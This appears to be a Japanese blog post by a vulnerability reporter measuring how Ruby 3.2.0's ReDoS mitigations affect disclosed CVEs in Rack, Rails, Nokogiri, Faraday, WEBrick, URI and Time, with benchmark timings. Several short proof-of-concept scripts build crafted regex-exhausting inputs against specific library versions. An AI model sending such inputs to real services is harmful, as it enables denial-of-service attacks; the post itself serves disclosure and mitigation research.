✨
Ruby3.2.0で導入されたReDoS対策の効果を確認
Ruby3.2.0でReDoS対策が入ったということで、2022年と2023年に報告したReDoSの脆弱性で公表されたものについて効果を確認してみました。 [1] [2] [3] [4] [5] [6] [7] [8]
(2024年追記)Ruby3.3.xで確認したものはこちら
Faraday Net::HTTP adapter
PoC
encoded_body_benchmark.rb
require 'benchmark'
def attack_text(length)
text = 'charset=' + "\t" * length + "a" + "\t" * length + "a"
/\bcharset=\s*(.+?)\s*(;|$)/.match(text)
end
Benchmark.bm do |x|
x.report { attack_text(10) }
x.report { attack_text(100) }
x.report { attack_text(1000) }
x.report { attack_text(10000) }
x.report { attack_text(100000) }
end
# Ruby 3.1.2
❯ bundle exec ruby encoded_body_benchmark.rb
user system total real
0.000009 0.000000 0.000009 ( 0.000005)
0.000060 0.000000 0.000060 ( 0.000060)
0.005131 0.000001 0.005132 ( 0.005132)
0.520823 0.000839 0.521662 ( 0.521920)
54.252044 0.137403 54.389447 ( 54.445226)
# Ruby 3.2.0
❯ bundle exec ruby encoded_body_benchmark.rb
user system total real
0.000008 0.000001 0.000009 ( 0.000006)
0.000008 0.000001 0.000009 ( 0.000008)
0.000063 0.000007 0.000070 ( 0.000070)
0.000562 0.000059 0.000621 ( 0.000621)
0.005639 0.001153 0.006792 ( 0.006816)
Rack::Protection::IPSpoofing
PoC
ip_spoofing_benchmark.rb
require 'benchmark'
def attack_text(length)
("\t" * length +"\ta,a\t").split(/\s*,\s*/)
end
Benchmark.bm do |x|
x.report { attack_text(10) }
x.report { attack_text(100) }
x.report { attack_text(1000) }
x.report { attack_text(10000) }
x.report { attack_text(100000) }
end
# Ruby 3.1.2
❯ bundle exec ruby ip_spoofing_benchmark.rb
user system total real
0.000006 0.000000 0.000006 ( 0.000004)
0.000027 0.000000 0.000027 ( 0.000028)
0.002230 0.000000 0.002230 ( 0.002229)
0.219735 0.000466 0.220201 ( 0.220294)
22.132207 0.056974 22.189181 ( 22.218286)
# Ruby 3.2.0
❯ bundle exec ruby ip_spoofing_benchmark.rb
user system total real
0.000006 0.000001 0.000007 ( 0.000005)
0.000007 0.000000 0.000007 ( 0.000007)
0.000030 0.000001 0.000031 ( 0.000030)
0.000269 0.000001 0.000270 ( 0.000269)
0.002656 0.000016 0.002672 ( 0.002673)
Nokogiri (CVE-2022-24836)
PoCは非公開です。
# Ruby 3.1.2
❯ bundle exec ruby nokogiri_benchmark.rb
user system total real
0.000047 0.000020 0.000067 ( 0.000063)
0.000040 0.000001 0.000041 ( 0.000041)
0.002257 0.000016 0.002273 ( 0.002285)
0.219902 0.000521 0.220423 ( 0.220524)
22.096186 0.069899 22.166085 ( 22.181980)
# Ruby 3.2.0
❯ bundle exec ruby nokogiri_benchmark.rb
user system total real
0.000127 0.000187 0.000314 ( 0.000308)
0.000045 0.000001 0.000046 ( 0.000046)
0.000078 0.000000 0.000078 ( 0.000080)
0.000536 0.000103 0.000639 ( 0.000645)
0.005045 0.001094 0.006139 ( 0.006158)
Rack (CVE-2022-30122)
PoC
broken_quoted_benchmark.rb
require 'benchmark'
require 'rack'
regexp = Rack::Multipart::BROKEN_UNQUOTED
def attack_text(length)
'Content-Disposition:a' + "\t" * length + "\tfilename=m"
end
Benchmark.bm do |x|
x.report { attack_text(10)[regexp] }
x.report { attack_text(100)[regexp] }
x.report { attack_text(1000)[regexp] }
x.report { attack_text(10000)[regexp] }
x.report { attack_text(100000)[regexp] }
end
# Ruby 3.1.2
❯ bundle exec ruby broken_unquoted_benchmark.rb
user system total real
0.000009 0.000000 0.000009 ( 0.000006)
0.000034 0.000000 0.000034 ( 0.000034)
0.002474 0.000000 0.002474 ( 0.002474)
0.243811 0.000512 0.244323 ( 0.244369)
24.450106 0.058915 24.509021 ( 24.570598)
# Ruby 3.2.0
❯ bundle exec ruby broken_unquoted_benchmark.rb
user system total real
0.000006 0.000001 0.000007 ( 0.000006)
0.000007 0.000000 0.000007 ( 0.000006)
0.000043 0.000005 0.000048 ( 0.000048)
0.000366 0.000035 0.000401 ( 0.000403)
0.003492 0.000377 0.003869 ( 0.003870)
Rails Html Sanitizers (CVE-2022-23517)
PoC
scrub_benchmark.rb
require 'benchmark'
require 'rails-html-sanitizer'
def scrub(length)
scrubber = Rails::Html::PermitScrubber.new
scrubber.tags = ['s']
scrubber.attributes = ['mask']
mask = 'url(uu' * length
html_fragment = Loofah.fragment('<s mask="' + mask + '" id="aa">aa</s>')
html_fragment.scrub!(scrubber)
end
Benchmark.bm do |x|
x.report { scrub(10) }
x.report { scrub(100) }
x.report { scrub(1000) }
x.report { scrub(10000) }
x.report { scrub(100000) }
end
# Ruby 3.1.2
❯ bundle exec ruby scrub_benchmark.rb
user system total real
0.000219 0.000189 0.000408 ( 0.000407)
0.000327 0.000004 0.000331 ( 0.000334)
0.024247 0.000039 0.024286 ( 0.024305)
2.282625 0.005343 2.287968 ( 2.288805)
228.092186 0.567187 228.659373 (229.374108)
# Ruby 3.2.0
❯ bundle exec ruby scrub_benchmark.rb
user system total real
0.000312 0.000393 0.000705 ( 0.000702)
0.000170 0.000004 0.000174 ( 0.000173)
0.000483 0.000012 0.000495 ( 0.000496)
0.003801 0.000076 0.003877 ( 0.003876)
0.029116 0.000737 0.029853 ( 0.029881)
Rack (CVE-2022-44570)
PoCは非公開です。
# Ruby 3.1.2
❯ bundle exec ruby multipart_content_disposition_benchmark.rb
user system total real
0.000014 0.000001 0.000015 ( 0.000012)
0.000602 0.000003 0.000605 ( 0.000604)
0.050963 0.000148 0.051111 ( 0.051170)
4.976457 0.018192 4.994649 ( 5.011038)
❯ bundle exec ruby byte_range_benchnark.rb
user system total real
0.000013 0.000000 0.000013 ( 0.000011)
0.000010 0.000001 0.000011 ( 0.000010)
0.000055 0.000001 0.000056 ( 0.000055)
0.000490 0.000043 0.000533 ( 0.000533)
0.004374 0.000447 0.004821 ( 0.004826)
Rack (CVE-2022-44571)
PoCは非公開です。
# Ruby 3.1.2
❯ bundle exec ruby multipart_content_disposition_benchmark.rb
user system total real
0.000012 0.000000 0.000012 ( 0.000010)
0.000519 0.000007 0.000526 ( 0.000526)
0.048907 0.000134 0.049041 ( 0.049124)
4.828467 0.011421 4.839888 ( 4.842429)
# Ruby 3.2.0
❯ bundle exec ruby multipart_content_disposition_benchmark.rb
user system total real
0.000014 0.000000 0.000014 ( 0.000010)
0.000072 0.000000 0.000072 ( 0.000072)
0.000697 0.000081 0.000778 ( 0.000778)
0.006980 0.002688 0.009668 ( 0.009751)
Rack (CVE-2022-44572)
PoCは非公開です。
# Ruby 3.1.2
❯ bundle exec ruby rfc2183_benchmark.rb
user system total real
0.000019 0.000000 0.000019 ( 0.000018)
0.000358 0.000004 0.000362 ( 0.000374)
0.010729 0.000005 0.010734 ( 0.010737)
0.349436 0.000997 0.350433 ( 0.350911)
11.105921 0.027338 11.133259 ( 11.137913)
22.203780 0.054924 22.258704 ( 22.265718)
# Ruby 3.2.0
❯ bundle exec ruby rfc2183_benchmark.rb
user system total real
0.000018 0.000001 0.000019 ( 0.000017)
0.000371 0.000001 0.000372 ( 0.000370)
0.011043 0.000007 0.011050 ( 0.011049)
0.351671 0.001075 0.352746 ( 0.352980)
11.349351 0.031033 11.380384 ( 11.393231)
22.604759 0.055164 22.659923 ( 22.677514)
# Regexp.timeout = 1 を設定
❯ bundle exec ruby rfc2183_benchmark.rb
user system total real
0.000022 0.000002 0.000024 ( 0.000021)
0.000422 0.000001 0.000423 ( 0.000422)
0.012381 0.000041 0.012422 ( 0.012450)
0.349678 0.000886 0.350564 ( 0.352141)
rfc2183_benchmark.rb:21:in `[]': regexp match timeout (Regexp::TimeoutError)
Action Pack (CVE-2023-22792)
PoCは非公開です。
❯ bundle exec ruby cookie_host_benchmark.rb
user system total real
0.000010 0.000000 0.000010 ( 0.000008)
0.002671 0.000003 0.002674 ( 0.002687)
2.439260 0.004220 2.443480 ( 2.444101)
user system total real
0.000007 0.000004 0.000011 ( 0.000010)
0.000030 0.000001 0.000031 ( 0.000030)
0.002248 0.000006 0.002254 ( 0.002255)
0.219704 0.000269 0.219973 ( 0.220068)
21.977842 0.046066 22.023908 ( 22.034360)
❯ bundle exec ruby cookie_host_benchmark.rb
user system total real
0.000006 0.000001 0.000007 ( 0.000006)
0.000012 0.000000 0.000012 ( 0.000012)
0.000089 0.000001 0.000090 ( 0.000089)
user system total real
0.000003 0.000001 0.000004 ( 0.000003)
0.000004 0.000000 0.000004 ( 0.000004)
0.000026 0.000000 0.000026 ( 0.000026)
0.000247 0.000000 0.000247 ( 0.000247)
0.002451 0.000018 0.002469 ( 0.002469)
Active Support (CVE-2023-22796)
PoCは非公開です。
# Ruby 3.1.2
❯ bundle exec ruby underscore_benchmark.rb
user system total real
0.000011 0.000000 0.000011 ( 0.000010)
0.000119 0.000000 0.000119 ( 0.000120)
0.010398 0.000008 0.010406 ( 0.010406)
1.049821 0.002955 1.052776 ( 1.053137)
# Ruby 3.2.0
❯ bundle exec ruby underscore_benchmark.rb
user system total real
0.000012 0.000000 0.000012 ( 0.000011)
0.000108 0.000001 0.000109 ( 0.000108)
0.009456 0.000003 0.009459 ( 0.009463)
0.955143 0.001402 0.956545 ( 0.956543)
3.853790 0.007212 3.861002 ( 3.862404)
# Regexp.timeout = 1 を設定
❯ bundle exec ruby underscore_benchmark.rb
user system total real
0.000011 0.000000 0.000011 ( 0.000010)
0.000107 0.000000 0.000107 ( 0.000107)
0.009443 0.000003 0.009446 ( 0.009447)
0.955830 0.001711 0.957541 ( 0.957541)
.../active_support/inflector/methods.rb:100:in `gsub!': regexp match timeout (Regexp::TimeoutError)
GlobalID (CVE-2023-22799)
PoCは非公開です。
# Ruby 3.1.2
❯ bundle exec ruby locate_benchmark.rb
user system total real
0.000018 0.000000 0.000018 ( 0.000016)
0.000044 0.000001 0.000045 ( 0.000044)
0.003033 0.000005 0.003038 ( 0.003038)
0.309519 0.000834 0.310353 ( 0.310375)
31.824798 0.084978 31.909776 ( 31.958167)
# Ruby 3.2.0
❯ bundle exec ruby locate_benchmark.rb
user system total real
0.000018 0.000001 0.000019 ( 0.000016)
0.000016 0.000000 0.000016 ( 0.000016)
0.000070 0.000000 0.000070 ( 0.000071)
0.000617 0.000057 0.000674 ( 0.000674)
0.006024 0.000507 0.006531 ( 0.006554)
Rack (CVE-2023-27539)
PoCは非公開です。
# Ruby 3.1.2
❯ bundle exec ruby parse_http_accept_header_benchmark.rb
user system total real
0.000730 0.000075 0.000805 ( 0.000806)
0.000029 0.000000 0.000029 ( 0.000029)
0.002216 0.000001 0.002217 ( 0.002220)
0.220513 0.000369 0.220882 ( 0.220962)
22.217365 0.053620 22.270985 ( 22.292816)
# Ruby 3.2.1
❯ bundle exec ruby parse_http_accept_header_benchmark.rb
user system total real
0.000740 0.000137 0.000877 ( 0.001285)
0.000007 0.000000 0.000007 ( 0.000007)
0.000031 0.000000 0.000031 ( 0.000031)
0.000289 0.000001 0.000290 ( 0.000288)
0.002693 0.000028 0.002721 ( 0.002721)
Ruby Time (CVE-2023-28756)
PoC
rfc2822_benchmark.rb
require 'benchmark'
require 'time'
def rfc2822_parse(length)
text = "0 Feb 00 00 :00" + " " * length
Time.rfc2822(text)
rescue ArgumentError
nil
end
Benchmark.bm do |x|
x.report { rfc2822_parse(100) }
x.report { rfc2822_parse(1000) }
x.report { rfc2822_parse(10000) }
x.report { rfc2822_parse(100000) }
end
# Ruby 3.1.1
❯ bundle exec ruby rfc2822_benchmark.rb
user system total real
0.000326 0.000009 0.000335 ( 0.000344)
0.029284 0.000054 0.029338 ( 0.029469)
2.860528 0.007354 2.867882 ( 2.875771)
290.843621 0.889107 291.732728 (292.665729)
# Ruby 3.2.0
❯ bundle exec ruby rfc2822_benchmark.rb
user system total real
0.000399 0.000001 0.000400 ( 0.000398)
0.035984 0.000014 0.035998 ( 0.036022)
3.612121 0.007010 3.619131 ( 3.621582)
364.668771 0.667106 365.335877 (365.889942)
# Regexp.timeout = 1 を設定
❯ bundle exec ruby rfc2822_benchmark.rb
user system total real
0.000401 0.000003 0.000404 ( 0.000397)
0.037018 0.000043 0.037061 ( 0.037122)
.../ruby/3.2.0/gems/time-0.2.0/lib/time.rb:515:in `rfc2822': regexp match timeout (Regexp::TimeoutError)
WEBrick
PoCは非公開です。
# Ruby 3.1.1
❯ bundle exec ruby split_header_value_benchmark.rb
user system total real
0.420393 0.000661 0.421054 ( 0.421074)
6.692469 0.021099 6.713568 ( 6.715372)
27.340398 0.053937 27.394335 ( 27.400080)
# Ruby 3.2.0
❯ bundle exec ruby split_header_value_benchmark.rb
user system total real
0.000039 0.000005 0.000044 ( 0.000040)
0.000014 0.000001 0.000015 ( 0.000014)
0.000012 0.000001 0.000013 ( 0.000013)
# Ruby 3.1.1
❯ bundle exec ruby parse_header_benchmark.rb
user system total real
0.000046 0.000000 0.000046 ( 0.000045)
0.002830 0.000006 0.002836 ( 0.002880)
0.289383 0.000658 0.290041 ( 0.291199)
9.288186 0.022931 9.311117 ( 9.347838)
user system total real
0.000056 0.000009 0.000065 ( 0.000064)
0.002887 0.000045 0.002932 ( 0.002933)
0.288451 0.000852 0.289303 ( 0.290568)
9.265106 0.021469 9.286575 ( 9.323628)
# Ruby 3.2.0
❯ bundle exec ruby parse_header_benchmark.rb
user system total real
0.000024 0.000003 0.000027 ( 0.000025)
0.000046 0.000006 0.000052 ( 0.000052)
0.000394 0.000068 0.000462 ( 0.000461)
0.002031 0.000367 0.002398 ( 0.002397)
user system total real
0.000012 0.000006 0.000018 ( 0.000018)
0.000044 0.000003 0.000047 ( 0.000045)
0.000402 0.000030 0.000432 ( 0.000433)
0.002194 0.000419 0.002613 ( 0.002630)
Ruby URI (CVE-2023-36617)
PoCは非公開です。
# Ruby 3.1.4
❯ ruby port_benchmark.rb
user system total real
0.000031 0.000003 0.000034 ( 0.000034)
0.000046 0.000001 0.000047 ( 0.000046)
0.002861 0.000021 0.002882 ( 0.002891)
0.288848 0.000418 0.289266 ( 0.289520)
29.524255 0.130043 29.654298 ( 29.694707)
# Ruby 3.2.2
❯ bundle exec ruby port_benchmark.rb
user system total real
0.000033 0.000002 0.000035 ( 0.000034)
0.000016 0.000000 0.000016 ( 0.000016)
0.000054 0.000000 0.000054 ( 0.000054)
0.000434 0.000028 0.000462 ( 0.000462)
0.004022 0.000382 0.004404 ( 0.004415)
# Ruby 3.1.4
❯ bundle exec ruby parser_split_benchmark.rb
user system total real
0.000619 0.000007 0.000626 ( 0.000626)
0.000614 0.000006 0.000620 ( 0.000622)
0.003432 0.000016 0.003448 ( 0.003458)
0.289117 0.000848 0.289965 ( 0.290573)
29.683022 0.094622 29.777644 ( 29.896222)
# Ruby 3.2.2
❯ bundle exec ruby parser_split_benchmark.rb
user system total real
0.000575 0.000009 0.000584 ( 0.000585)
0.000558 0.000004 0.000562 ( 0.000562)
0.003463 0.000012 0.003475 ( 0.003486)
0.303833 0.000568 0.304401 ( 0.304554)
30.954630 0.080803 31.035433 ( 31.087450)
-
2023/1/5 公開されたPoCを追記 ↩︎
-
2023/1/19 CVE-2022-44570, CVE-2022-44571, CVE-2022-44572, CVE-2023-22792, CVE-2023-22796, CVE-2023-22799 を追加 ↩︎
-
2023/3/19 CVE-2023-27539を追加、記事が長くなってきたのでPoCをアコーディオン内に移動 ↩︎
-
2023/4/2 CVE-2023-28756を追加 ↩︎
-
2023/4/22 WEBrickを追加 ↩︎
-
2023/6/18 CVE-2023-28756のPoCを追加 ↩︎
-
2023/7/5 CVE-2023-36617を追加 ↩︎
-
2023/8/14 CVE-2022-30122のPoCを追加 ↩︎
Discussion